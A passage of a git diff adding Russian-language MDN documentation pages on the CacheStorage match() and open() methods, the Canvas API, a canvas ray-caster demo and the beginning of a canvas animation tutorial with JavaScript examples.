+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+  <tr>
+   <td>Доступ через {{domxref("WorkerGlobalScope")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Сервисные воркеры (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cachestorage/match/index.html b/files/ru/web/api/cachestorage/match/index.html
new file mode 100644
index 0000000000..6b60a861ce
--- /dev/null
+++ b/files/ru/web/api/cachestorage/match/index.html
@@ -0,0 +1,99 @@
+---
+title: CacheStorage.match()
+slug: Web/API/CacheStorage/match
+tags:
+  - API
+  - CacheStorage
+  - Service Workers
+  - Service worker API
+  - ServiceWorker
+  - match
+  - Экспериментальная функция
+translation_of: Web/API/CacheStorage/match
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">Метод <strong><code>match()</code></strong> интерфейса {{domxref("CacheStorage")}} (доступный через глобальное свойство <code>caches</code>) проверяет  является ли данный {{domxref("Request")}} или строка url ключом для какого-либо хранимого {{domxref("Response")}}. Метод возвращает {{jsxref("Promise")}} если {{domxref("Response")}} найден, или <code>undefined</code> если нет ни одного совпадения.</span></p>
+
+<p>Объекты Cache проверяются в порядке создания.</p>
+
+<div class="note"><strong>Note</strong>: {{domxref("CacheStorage.match()", "caches.match()")}} это метод для удобства в работе. Такая функциональность достигается вызовом {{domxref("cache.match()")}} для каждого объекта cache (в порядке полученом запросом {{domxref("CacheStorage.keys()", "caches.keys()")}}) пока {{domxref("Response")}} не будет найден.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">caches.match(<em>request</em>, <em>options</em>).then(function(<em>response</em>) {
+  // Какие-либо действия с response
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>{{domxref("Request")}} для поиска.  Может быть объектом  {{domxref("Request")}} или строкой URL.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект, свойства которого определяют, как проверяется совпадение в операции сопоставления. Доступны следующие варианты:
+ <ul>
+  <li><code>ignoreSearch</code>: {{domxref("Boolean")}} свойство. Определяет, следует ли игнорировать параметры запроса в строке url или нет.  Например, если установлено <code>true</code>, параметры <code>?value=bar</code> запроса <code>http://foo.com/?value=bar</code> будут проигнорированы во время сопоставления. Значением по умолчанию является <code>false</code>.</li>
+  <li><code>ignoreMethod</code>: {{domxref("Boolean")}} свойство. Когда установлено <code>true</code>, предотвращает проверку <code>http</code> метода запроса {{domxref("Request")}}  (обычно разрешены  только <code>GET</code>  и <code>HEAD</code>.) По умолчанию установлено <code>false</code>.</li>
+  <li><code>ignoreVary</code>: {{domxref("Boolean")}} свойство, определяющее, следует ли выполнять проверку заголовка <code>VARY.</code> Если установлено <code>true</code>, совпадения будут найдены, независимо от того, имеет ли {{domxref("Response")}} заголовок <code>VARY</code> или нет. По умолчанию установлено <code>false</code>.</li>
+  <li><code>cacheName</code>: Строка {{domxref("DOMString")}} - имя кэша для поиска.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Метод возвращает {{jsxref("Promise")}} который разрешается совпавшим {{domxref("Response")}}. Если ни одного совпадени не было найдено, promise разрешается с <code>undefined</code>.</p>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<p>Это пример  из MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (см. <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). В данном примере, мы слушаем событие {{domxref("FetchEvent")}}. Мы строим проверку ответа следующим образом:</p>
+
+<ol>
+ <li>Проверяем, совпадения для запроса в {{domxref("CacheStorage")}} используя {{domxref("CacheStorage.match","CacheStorage.match()")}}. Если совпадение найдено, возвращаем response.</li>
+ <li>Если нет, открываем <code>v1</code> объект кэша, используя метод <code>open()</code>, добавляем изначальный запрос в кэш используя {{domxref("Cache.put","Cache.put()")}} и возвращаем клонированный объект запроса, используя <code>return response.clone()</code>. Это необходимо, потому что метод <code>put()</code> сохраняет в кэш тело запроса, изменяя, таким образом, изначальный запрос.</li>
+ <li>Если произошла какая-либо ошибка (например, из-за проблем с сетью), возвращаем резервный ответ.</li>
+</ol>
+
+<pre class="brush: js">caches.match(event.request).then(function(response) {
+  return response || fetch(event.request).then(function(r) {
+    caches.open('v1').then(function(cache) {
+      cache.put(event.request, r);
+    });
+    return r.clone();
+  });
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cachestorage-match', 'CacheStorage: match')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы желаете содействовать в уточнении данных, пожалуйста, посетите репозиторий <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте pull request.</div>
+
+<p>{{Compat("api.CacheStorage.match")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches", "self.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/cachestorage/open/index.html b/files/ru/web/api/cachestorage/open/index.html
new file mode 100644
index 0000000000..8e7535fdc9
--- /dev/null
+++ b/files/ru/web/api/cachestorage/open/index.html
@@ -0,0 +1,141 @@
+---
+title: CacheStorage.open()
+slug: Web/API/CacheStorage/open
+tags:
+  - API
+  - CacheStorage
+  - Experimental
+  - Method
+  - Reference
+  - ServiceWorker
+translation_of: Web/API/CacheStorage/open
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>open()</code></strong> метод из {{domxref("CacheStorage")}} интерфейса возвращает {{jsxref("Promise")}} который резолвится в {{domxref("Cache")}} обьект с соответствующим <code>cacheName (именем тега кеша)</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If the specified {{domxref("Cache")}} does not exist, a new cache is created with that <code>cacheName</code>.</p>
+</div>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">caches.open(<em>cacheName</em>).then(function(<em>cache</em>) {
+  //обрабатываем кеш например: cache.AddAll(filesToCache); где filesToCache = ['/mypic.png', ...]
+});
+</pre>
+
+<h3 id="Возвращает">Возвращает</h3>
+
+<p>{{jsxref("Promise")}} который резолвится в запрашиваемый {{domxref("Cache")}} обьект.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>cacheName</dt>
+ <dd>Имя (тег) кеша заданное заранее которое необходимо открыть.</dd>
+</dl>
+
+<h2 id="Примеры" style="line-height: 30px; font-size: 2.14285714285714rem;">Примеры</h2>
+
+<p>This code snippet is from the MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (see <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Here we wait for a {{domxref("FetchEvent")}} to fire. Then we construct a custom response like so:</p>
+
+<ol>
+ <li>Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match")}}. If so, serve that.</li>
+ <li>If not, open the <code>v1</code> cache using {{domxref("CacheStorage.open")}}, put the default network request in the cache using {{domxref("Cache.put")}} and return a clone of the default network request using <code>return response.clone()</code> — necessary because <code>put()</code> consumes the response body.</li>
+ <li>If this fails (e.g., because the network is down), return a fallback response.</li>
+</ol>
+
+<pre class="brush: js">var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache-storage', 'CacheStorage')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{CompatGeckoDesktop(44)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (and <a href="/en-US/docs/Web/API/Push_API">Push</a>) have been disabled in the <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
new file mode 100644
index 0000000000..72b21d9f5b
--- /dev/null
+++ b/files/ru/web/api/canvas_api/a_basic_ray-caster/index.html
@@ -0,0 +1,46 @@
+---
+title: базовый ray-caster
+slug: Web/API/Canvas_API/A_basic_ray-caster
+translation_of: Web/API/Canvas_API/A_basic_ray-caster
+---
+<p>{{CanvasSidebar}}</p>
+
+<p>В этой статье представлен интересный реальный пример использования элемента {{HTMLElement("canvas")}} для выполнения программного рендеринга 3D-среды с помощью Ray-casting.</p>
+
+<p>{{EmbedGHLiveSample("canvas-raycaster/index.html", 900, 300)}}</p>
+
+<p><strong><a href="http://mdn.github.io/canvas-raycaster/">Открыть в новом окне</a></strong></p>
+
+<h2 id="Why.3F" name="Why.3F">Зачем?</h2>
+
+<p>Я попробовал небольшой эксперимент, понимая, к моему восторгу, что стильный элемент <code>&lt;canvas&gt;</code> о котором я <a href="https://www.whatwg.org/specs/web-apps/current-work/#dynamic">читал</a>, поддерживается не только в Fierfox, но так же поддерживается последней версией Safari.</p>
+
+<p>Хорошие <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">обзор</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial">руководство</a> по canvas я нашел в MDN, но никто еще не писал об анимации, поэтому я решил попробовать базовый порт raycaster, над которым я работал некоторое время назад, и посмотреть, какую производительность мы можем ожидать от управляемого JavaScript-ом пиксельного буфера.</p>
+
+<h2 id="How.3F" name="How.3F">Как?</h2>
+
+<p>Основная идея заключается в использовании {{domxref("window.setInterval","setInterval()")}} с некоторой произвольной задержкой, соответствующей требуемой частоте кадров. После каждого интервала функция обновления будет перерисовывать холст, и отображать текущий вид. Я знаю, что мог бы начать с более простого примера, но я уверен, что руководство canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">доберется до этого</a>, и я хотел посмотреть, смогу ли я это сделать.</p>
+
+<p>Таким образом каждое обновление raycaster смотрит нажимали ли вы какие либо клавиши в последнее время, сохраняет расчеты и останавливается если вы бездествуете. Получив расчеты, холст очищается, земля и небо рисуются, положение камеры и/или ориентация обновляются, а лучи отбрасываются. Когда лучи попадают на стены, они отображают вертикальный кусок холста в цвете стены, на которую они попали, смешанный с более темной версией цвета в зависимости от расстояния до стены. Высота этого кусочка также моделируется расстоянием от камеры до стены и рисуется по центру линии горизонта.</p>
+
+<p>Код, который я получил, - это смесь глав raycaster из старой книги Андре Ламотетрикса о гуру программирования игр (ISBN: 0672305070) и  <a class="external" href="http://www.shinelife.co.uk/java-maze/">java raycaster</a>, которую я нашел в интернете, отфильтровал, переименовал, и внес все изменения, которые нужно было внести, чтобы все работало хорошо.</p>
+
+<h2 id="Results" name="Results">Результаты</h2>
+
+<p>Холст в Safari 2.0.1 выполнен на удивление хорошо. С коэффициентом блочности, увеличенным до отображения кусочка шириной 8 пикселей, я могу запустить окно 320 x 240 при 24 fps на моем Apple mini. Firefox 1.5 Beta 1 еще быстрее; я могу запускать 320 x 240 при 24 fps с 4 пиксельным кусочком. Не совсем новый член семейства програмного обеспечения ID, но довольно приличный, учитывая, что это полностью интерпретируемая среда, и мне не нужно было беспокоиться о выделении памяти или видеорежимах или кодировании внутренних процедур в ассемблере или чем-то еще. Код получился очень эффективным, он использует поиск по массиву предварительно вычисленных значений, но я не гуру оптимизации, поэтому все, вероятно, можно было бы написать быстрее.</p>
+
+<p>Кроме того, он оставляет желать лучшего с точки зрения попыток быть игровым движком—нет текстур стен, нет спрайтов, нет дверей, даже нет телепортов, чтобы добраться до другого уровня. Но я уверен, что все эти вещи могут быть добавлены, через некоторое время. Canvas API поддерживает пиксельное копирование изображений, поэтому текстуры могут быть добавлены. Я оставлю это для другой статьи, возможно, от другого человека. =)</p>
+
+<h2 id="The_RayCaster" name="The_RayCaster">ray-caster</h2>
+
+<p>Хорошие люди здесь вручную скопировали мои файлы, чтобы вы могли <a href="https://mdn.github.io/canvas-raycaster/">взглянуть</a>, и для вашего удобства я разместил содержимое отдельных файлов в виде списков кодов (см. ниже).</p>
+
+<p>Так что запустите Safari 1.3+ или Firefox 1.5+ или какой-нибудь другой браузер, который поддерживает элемент &lt;canvas&gt; и наслаждайтесь!</p>
+
+<p><small><a href="https://github.com/mdn/canvas-raycaster/blob/master/input.js">input.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/Level.js">Level.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/Player.js">Player.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/index.html">RayCaster.html</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/RayCaster.js">RayCaster.js</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/trace.css">trace.css</a> | <a href="https://github.com/mdn/canvas-raycaster/blob/master/trace.js">trace.js</a> </small></p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas руководство</a></li>
+</ul>
diff --git a/files/ru/web/api/canvas_api/index.html b/files/ru/web/api/canvas_api/index.html
new file mode 100644
index 0000000000..e3986f8d75
--- /dev/null
+++ b/files/ru/web/api/canvas_api/index.html
@@ -0,0 +1,161 @@
+---
+title: Canvas
+slug: Web/API/Canvas_API
+tags:
+  - API
+  - Canvas
+  - Обзор
+  - Справка
+translation_of: Web/API/Canvas_API
+---
+<div>{{CanvasSidebar}}</div>
+
+<p class="summary">Элемент {{HTMLElement("canvas")}}, добавленный в <a href="https://developer.mozilla.org/en-US/docs/HTML/HTML5">HTML5</a>, предназначен для создания графики с помощью <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>. Например, его используют для рисования графиков, создания фотокомпозиций, анимаций и даже обработки и рендеринга видео в реальном времени.</p>
+
+<p><em>«</em>Canvas<em>»</em>  в переводе с английского означает <em>«</em>холст<em>»</em>.</p>
+
+<p>Приложения от Mozilla поддерживают <code>&lt;canvas&gt;</code> начиная с Gecko 1.8 (т.е. <a href="/en-US/docs/Firefox_1.5_for_developers" title="Firefox_1.5_for_developers">с Firefox 1.5</a>). Этот элемент первоначально был представлен Apple для OS X <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Dashboard</a> и Safari. Internet Explorer поддерживает<code> &lt;canvas&gt;</code> начиная с 9 версии; для более ранних версий IE поддержку для &lt;canvas&gt; можно добавить с помощью скрипта из проекта Google's <a class="external" href="http://excanvas.sourceforge.net/">Explorer Canvas</a>. Google Chrome и Opera 9 также поддерживают <code>&lt;canvas&gt;</code>.</p>
+
+<p>Элемент <code>&lt;canvas&gt;</code> также используется технологией <a href="/en-US/docs/WebGL" title="WebGL">WebGL</a> для отрисовки аппаратно-ускоренной 3D-графики на вебстраницах.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Это простой пример использования {{domxref("CanvasRenderingContext2D.fillRect()")}} метода.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+</pre>
+
+<p>Отредактируйте код ниже, чтобы увидеть результат на холсте.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Справочные_материалы">Справочные материалы</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("Path2D")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<p class="brush: js"><span id="result_box" lang="ru"><span>Интерфейсы, связанные с <code>WebGLRenderingContext</code>, ссылаются на </span></span><a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a>.</p>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">Руководства</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></dt>
+ <dd>Подробный <span id="result_box" lang="ru"><span>учебник, охватывающий как основное использование <code>&lt;canvas&gt;</code>, так и его расширенные функции.</span></span></dd>
+ <dt><a href="/en-US/Add-ons/Code_snippets/Canvas">Фрагменты кода: Canvas</a></dt>
+ <dd><span id="result_box" lang="ru"><span>Некоторые фрагменты кода, ориентированные на разработчиков, с использованием <code>&lt;canvas&gt;</code>.</span></span></dd>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster">Demo: A basic ray-caster</a></dt>
+ <dd>Демо анимации трассировки-лучей используя canvas.</dd>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/Drawing_DOM_objects_into_a_canvas">Drawing DOM objects into a canvas</a></dt>
+ <dd>Как рисовать DOM контент, таких как HTML элементы, в canvas.</dd>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a></dt>
+ <dd>Объединяет {{HTMLElement("video")}} и {{HTMLElement("canvas")}} для манипулирования видео данных в реальном времени.</dd>
+</dl>
+
+<h2 class="Resources" id="Resources" name="Resources">Ресурсы</h2>
+
+<h3 id="Основное">Основное</h3>
+
+<ul>
+ <li><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Canvas Deep Dive</a></li>
+ <li><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Справочник по Canvas</a></li>
+</ul>
+
+<h3 class="Libraries" id="Libraries" name="Libraries">Библиотеки</h3>
+
+<ul>
+ <li><a href="http://fabricjs.com">Fabric.js</a> это canvas библиотека с открытым исходным кодом с возможностями SVG парсинга.</li>
+ <li><a href="https://github.com/ericdrowell/KineticJS">Kinetic.js</a> это canvas библиотека с открытым исходным кодом ориентированная на интерактивность для настольных и мобильных приложений.</li>
+ <li><a href="http://paperjs.org/">Paper.js</a> это программируемый фреймворк векторной графики с открытым исходным кодом который запускается на HTML5 Canvas.</li>
+ <li><a href="http://libcanvas.github.com/">libCanvas</a> это мощный и лёгкий canvas фреймворк.</li>
+ <li><a href="http://processingjs.org">Processing.js</a> является портом языка обработки визуализации.</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a> игровой движок с открытым исходным кодом.</li>
+ <li><a href="http://www.pixijs.com/">Pixi.js</a> игровой движок с открытым исходным кодом.</li>
+ <li><a href="http://www.liquidx.net/plotkit/">PlotKit</a> библиотека создание графиков и графики.</li>
+ <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a> API анимации для canvas.</li>
+ <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> WebGL фреймворк для визуализации данных, для креативного написания кода и разработки игр.</li>
+ <li><a href="http://thejit.org/">JavaScript InfoVis Toolkit</a> создаёт интерактивные 2D Canvas визуализации данных для интернета.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html", "Canvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="См.также">См.также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
+</ul>
diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
new file mode 100644
index 0000000000..f9dc3f7a3e
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
@@ -0,0 +1,376 @@
+---
+title: Расширенные анимации
+slug: Web/API/Canvas_API/Tutorial/Advanced_animations
+translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div>
+
+<div class="summary">
+<p><span class="notranslate">В предыдущей главе мы сделали несколько <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">базовых анимаций</a> и узнали, как можно двигать вещи.</span> <span class="notranslate"> В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.</span></p>
+</div>
+
+<h2 id="Рисование_мяча"><span class="notranslate">Рисование мяча</span></h2>
+
+<p><span class="notranslate">Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на </span><code> canvas</code><span class="notranslate">.</span> Нам нужен следующий код.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="600" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p><span class="notranslate">Как обычно, нам нужен контекст рисования.</span> Чтобы нарисовать шар, мы создадим объект <code>ball</code>, который содержит свойства и метод <code>draw()</code> , чтобы нарисовать его на <code>canvas</code>.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();</pre>
+
+<p><span class="notranslate">Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода</span> {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p>
+
+<h2 id="Добавление_скорости"><span class="notranslate">Добавление скорости</span></h2>
+
+<p>Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">главы</a> этого урока. <span class="notranslate">Опять же,</span> {{domxref("window.requestAnimationFrame()")}} <span class="notranslate">помогает нам контролировать анимацию.</span> <span class="notranslate">Мяч перемещается, добавляя вектор скорости в положение.</span> <span class="notranslate">Для каждого кадра мы также</span> {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} <span class="notranslate"> холст, чтобы удалить старые круги из предыдущих кадров.</span></p>
+
+<pre class="brush: js; highlight:[8,9,24,25]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+</pre>
+
+<h2 id="Границы"><span class="notranslate" style="background-color: #e6ecf9;">Границы</span></h2>
+
+<p><span class="notranslate">Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста.</span> <span class="notranslate"> Нам нужно проверить, не находятся ли <code>x</code> и <code>y</code> положения шара вне размеров холста и не инвертируют направление векторов скорости.</span> <span class="notranslate"> Для этого мы добавим следующие проверки в метод <code>draw</code> :</span></p>
+
+<pre class="brush: js">if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+  ball.vx = -ball.vx;
+}</pre>
+
+<h3 id="Первое_демо"><span class="notranslate">Первое демо</span></h3>
+
+<p><span class="notranslate">Посмотрим, как он выглядит в действии.</span> <span class="notranslate"> Переместите мышь на холст, чтобы запустить анимацию.</span></p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
